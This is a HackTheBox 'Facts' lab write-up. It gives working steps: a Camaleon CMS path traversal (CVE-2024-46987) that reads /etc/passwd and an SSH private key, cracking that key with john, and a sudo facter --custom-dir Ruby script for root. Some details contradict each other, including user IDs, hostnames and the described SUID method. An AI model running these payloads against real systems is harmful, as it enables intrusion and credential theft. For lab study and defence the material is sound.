This was the first Season10 machine a Linux based machine
This writeup documents the complete exploitation of the Facts machine from HackTheBox Season 10, a Linux- based system rated as Easy difficulty. The attack chain leverages a path traversal vulnerability in Camaleon CMS (CVE- 2024- 46987) to obtain sensitive files, followed by SSH key extraction and cracking, culminating in privilege escalation via a misconfigured sudo permission for the facter binary.
Key Skills Practiced:
• Web application reconnaissance and enumeration
• Path traversal (LFI) exploitation
• SSH key extraction and passphrase cracking
• Linux privilege escalation via sudo misconfigurations
• Ruby code injection for privilege escalation
2 Q Reconnaissance & Enumeration
2.1 Network Scanning
Initial reconnaissance began with a comprehensive port scan using rustscan and nmap to identify open services and potential vulnerabilities.
2.1.1 Port Scanning with RustScan or Nmap
rustscan - a 10.129.64.133 - u 5000 - r 1- 65535 - - A - T4 - - script vuln - vvv
On my case i used nmap and i got this

Discovered Open Ports:
• 22/tcp - OpenSSH 9.9p1 Ubuntu • 80/tcp - nginx 1.26.3 (Camaleon CMS) • 54321/tcp - MinIO S3 Storage Server
2.1.2 Service Version Detection
The nmap scan revealed critical version information:
• SSH: OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 • HTTP: nginx 1.26.3 (Ubuntu) hosting Camaleon CMS • MinIO: S3-compatible object storage (Golang net/http)
Warning
The nmap vulnerability scan identified several potential CVEs, but the most critical finding was the presence of Camaleon CMS, which is vulnerable toCVE- 2024- 46987 (Path Traversal).
2.2 Web Application Enumeration
2.2.1 Adding Target to /etc/hosts
Before proceeding with web enumeration, the target was added to the local hosts file:
echo "10.129.64.27 facts.hth" | sudo tee - a /etc/hosts
after adding it to there i had to see the look of the webapp we gonna exploit

2.2.2 Directory Brute Forcing
Using gobuster to discover hidden directories and endpoints:
┌─[havoc@havocsec]─[~/Downloads/htb/season10/facts]`
`└──╼ $ gobuster dir \`
`-u http://facts.htb \`
`-w /home/havoc/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \`
`-t 50 \`
`-r`
`===============================================================`
`Gobuster v3.8.2`
`by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)`
##### ===============================================================
`[+] Url: http://facts.htb`
`[+] Method: GET`
`[+] Threads: 50`
`[+] Wordlist: directory-list-2.3-medium.txt`
`[+] Negative Status codes: 404`
`[+] User Agent: gobuster/3.8.2`
`[+] Follow Redirect: true`
`[+] Timeout: 10s`
##### ===============================================================
`Starting gobuster in directory enumeration mode
###### ===============================================================
`/sitemap (Status: 200) [Size: 3508]`
`/rss (Status: 200) [Size: 183]`
`/search (Status: 200) [Size: 19187]`
`/index (Status: 200) [Size: 11113]`
`/en (Status: 200) [Size: 11109]`
`/page (Status: 200) [Size: 19593]`
`/welcome (Status: 200) [Size: 11966]`
`/admin (Status: 200) [Size: 3896]`
`/post (Status: 200) [Size: 11308]`
`/ajax (Status: 200) [Size: 0]`
`/up (Status: 200) [Size: 73]`
`/robots (Status: 200) [Size: 33]`
`/error (Status: 500) [Size: 7918]`
`===============================================================`
`Progress: 5274 / 220558 (2.39%)`
##### ===============================================================
Success
Key Discovery: Found /admin endpoint leading to Camaleon CMS administrative interface.
2.3 Initial Web Reconnaissance Findings
Navigating to http://facts.htb/admin/login revealed the Camaleon CMS login page. At this stage, account creation was required to proceed with exploitation.

a wrong login as we tried admin gave an error

3 Vulnerability Analysis - CVE- 2024- 46987
3.1 Vulnerability Overview
CVE- 2024- 46987 - Path Traversal in Camaleon CMS
Severity: High
CVSS Score: 7.5
Affected Versions: Camaleon CMS < 2.8.1 (actually affects 2.9.0+)
Attack Vector: Authenticated Path Traversal
Reference: https://securitylab.github.com/advisories/GHSL-2024-182_
https://securitylab.github.com/advisories/GHSL-2024-182_
GHSL-2024-186_Camaleon_CMS/
The vulnerability exists in the /admin/media/download_private_file endpoint, which fails to properly sanitize user input in the file parameter, allowing authenticated users to traverse the filesystem and read arbitrary files.
3.2 Account Registration
To exploit the vulnerability, an account was created on the Camaleon CMS:
- Navigate to http://facts.htb/admin/login
- Click “Create an account”
- Register with arbitrary credentials
- Login to obtain authenticated session
this is how the dashboard looks

3.3 Exploitation - User Flag Acquisition
Once authenticated, the path traversal vulnerability was exploited to extract sensitive files.
3.3.1 Reading /etc/passwd for User Enumeration
http://facts.hbt/admin/media/download_private_file?file=../../../../../../../../../../../../../../../../../../../.././etc/passwd
it had this content the passwd file
root:x:0:0:root:/root:/bin/bash`
`daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin`
`bin:x:2:2:bin:/bin:/usr/sbin/nologin`
`sys:x:3:3:sys:/dev:/usr/sbin/nologin`
`sync:x:4:65534:sync:/bin:/bin/sync`
`games:x:5:60:games:/usr/games:/usr/sbin/nologin`
`man:x:6:12:man:/var/cache/man:/usr/sbin/nologin`
`lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin`
`mail:x:8:8:mail:/var/mail:/usr/sbin/nologin`
`news:x:9:9:news:/var/spool/news:/usr/sbin/nologin`
`uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin`
`proxy:x:13:13:proxy:/bin:/usr/sbin/nologin`
`www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin`
`backup:x:34:34:backup:/var/backups:/usr/sbin/nologin`
`list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin`
`irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin`
`_apt:x:42:65534::/nonexistent:/usr/sbin/nologin`
`nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin`
`systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin`
`usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin`
`systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin`
`messagebus:x:102:102::/nonexistent:/usr/sbin/nologin`
`systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin`
`pollinate:x:103:1::/var/cache/pollinate:/bin/false`
`polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin`
`syslog:x:104:104::/nonexistent:/usr/sbin/nologin`
`uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin`
`tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin`
`tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false`
`landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin`
`fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin`
`sshd:x:109:65534::/run/sshd:/usr/sbin/nologin`
`trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash`
`william:x:1001:1001::/home/william:/bin/bash`
`_laurel:x:101:988::/var/log/laurel:/bin/false
This revealed two interesting users with shell access:
• william (UID 1000) - Primary user • trivia (UID 1001) - Secondary user with SSH access
3.3.2 Retrieving User Flag
http://facts.hbt/admin/media/download_private_file?file=../../../../../../../../../../../../../../../../../../../.././home/ william/user.txt
Success
User Flag Obtained: Successfully retrieved user.txt from william’s home directory.

4 SSH Access via Key Extraction
4.1 SSH Private Key Extraction
Leveraging the same LFI vulnerability, the SSH private key for user trivia was extracted:
http://facts.htb/admin/media/download_private_file?file=../../../../../../home/ trivia/.ssh/id_ed25519
The extracted key was saved as id_ed25519.
also to confirm i captured it with burpsuite and got it clean

Note
Key Type: Ed25519 - A modern elliptic curve signature scheme providing 128- bit security with smaller key sizes than RSA.
4.2 Passphrase Cracking with John the Ripper
The extracted SSH key was passphrase- protected and required cracking before use.
4.2.1 Converting SSH Key to John Format
ssh2john id_ed25519 > id_ed25519. hash
4.2.2 Cracking with Rockyou Wordlist
john id_ed25519. hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding : UTF -8`
`Loaded 1 password hash ( SSH , SSH private key [ RSA / DSA / EC / OPENSSH 32/64])`
`Cost 1 ( KDF / cipher [0= MD5 / AES 1= MD5 /3 DES 2= Bcrypt / AES ]) is 2 for all`
`loaded hashes`
`Cost 2 ( iteration count ) is 24 for all loaded hashes`
`Will run 4 OpenMP threads`
`...`
`dragonballz ( id_ed25519 )

Success
Passphrase Cracked: dragon***********
4.3 SSH Connection
With the cracked passphrase, SSH access was established:
`chmod 600 id_ed25519 2
ssh - i id_ed25519 trivia@10.129.64.133
When prompted for the passphrase, dragonballz was entered, granting shell access as user trivia.

5 Privilege Escalation to Root
we need to privesc to root and get the root flag but before that we need to do some enumeration on the box using the common vectors.
trivia@facts:/home$ id && hostname && pwd
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
facts
/home
trivia@facts:/home$ ps aux | grep root
ss -tlpn
trivia 15840 0.0 0.0 6764 2460 pts/0 S+ 22:33 0:00 grep --color=auto root
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 1024 127.0.0.1:3000 0.0.0.0:* users:(("ruby3.3",pid=1433,fd=10))
LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:54321 0.0.0.0:*
LISTEN 0 4096 [::]:22 [::]:*
LISTEN 0 511 [::]:80 [::]:*
LISTEN 0 4096 [::]:54321 [::]:*
trivia@facts:/home$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
trivia@facts:/home$

Warning
Critical Vulnerability: User trivia can execute /usr/bin/facter as root with NOPASSWD, allowing arbitrary code execution as root.
We pivot to Facter.
Facter is a Ruby-based system profiling tool designed to collect “facts” about a host—OS details, environment data, system state. Under normal conditions, it’s harmless. Under sudo, it becomes dangerous.
When Facter runs, it automatically searches for and executes custom fact definitions—Ruby scripts intended to extend its data collection. The critical detail: those scripts execute with the same privileges as the Facter process itself.
In this case, Facter is allowed to run with sudo. That means any Ruby code it loads runs as root.
While env_reset blocks the FACTERLIB environment variable, this protection is incomplete. Facter exposes a built-in command-line option—--custom-dir—which explicitly defines where custom fact files are loaded from. This flag bypasses environment sanitization entirely.
By pointing --custom-dir to a directory we control, we can force Facter to load a malicious Ruby script. When Facter is executed via sudo, our script is evaluated with UID 0.
Rather than spawning an unstable shell from within sudo, we take the cleaner route: SetUID Bash.
We embed a system call inside the Ruby script that sets the SUID bit on /bin/bash. Once applied, invoking bash -p preserves elevated privileges and drops us into a fully interactive, persistent root shell—no TTY issues, no sudden drops.
With root access established, we proceed to retrieve the flag.
This isn’t brute force.
This is abusing trusted execution paths—exactly the kind of mistake real systems make.
5.1 Q Post-Exploitation Enumeration
After gaining SSH access, a privilege escalation enumeration script ruby was transferred to the target for comprehensive system analysis.
5.1.1 Transferring the script
this is the script
mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
setcode do
system("/bin/bash")
end
end
EOF
and i did this cooler with this
sudo /usr/bin/facter --custom-dir /tmp/facts
and it did wonders
and there we had our root flag.
Success
Root Access Achieved! Successfully escalated privileges to root.

6 Key Takeaways & Lessons Learned
6.1 Technical Skills Demonstrated
-
Reconnaissance: Comprehensive port scanning and service enumeration
-
Web Exploitation: Identification and exploitation of path traversal vulnerabilities
-
Cryptography: SSH key extraction and passphrase cracking using John the Ripper
-
Linux Privilege Escalation: Exploiting sudo misconfigurations
-
Scripting: Ruby code injection for privilege escalation
6.2 Security Recommendations
-
Input Validation: Implement strict input validation and sanitization for file path parameters
-
Principle of Least Privilege: Avoid granting NOPASSWD sudo access to system utilities
-
SSH Key Security: Use strong passphrases for SSH keys (avoid dictionary words)
-
Regular Updates: Keep CMS and all software components updated to latest security patches
-
Sudo Restrictions: If sudo access is necessary, limit commands with specific arguments only
6.3 Learning Outcomes
This machine provided excellent practice in:
Core Concepts Reinforced
• Understanding the impact of path traversal vulnerabilities
• Recognizing that version numbers alone are not reliable security indicators
• Proper enumeration methodology (automated + manual)
• Ed25519 key format and appropriate cracking tools
• GTFOBins research for privilege escalation techniques
• The importance of sudo configuration auditing
7.2 References
- CVE-2024-46987: https://securitylab.github.com/advisories/GHSL-2024-182_GHSL-2024-186_Camaleon_CMS/
- GTFOBins - Facter: https://gtfobins.org/gtfobins/facter/
- LinPEAS: https://github.com/carlospolop/PEASS-ng
- SecLists Wordlists: https://github.com/danielmissler/SecLists
Thanks for reading—hope this walkthrough helped clarify the exploitation path and the underlying security misconfiguration.
Until the next box—stay sharp, keep breaking assumptions, and happy hacking.
Comments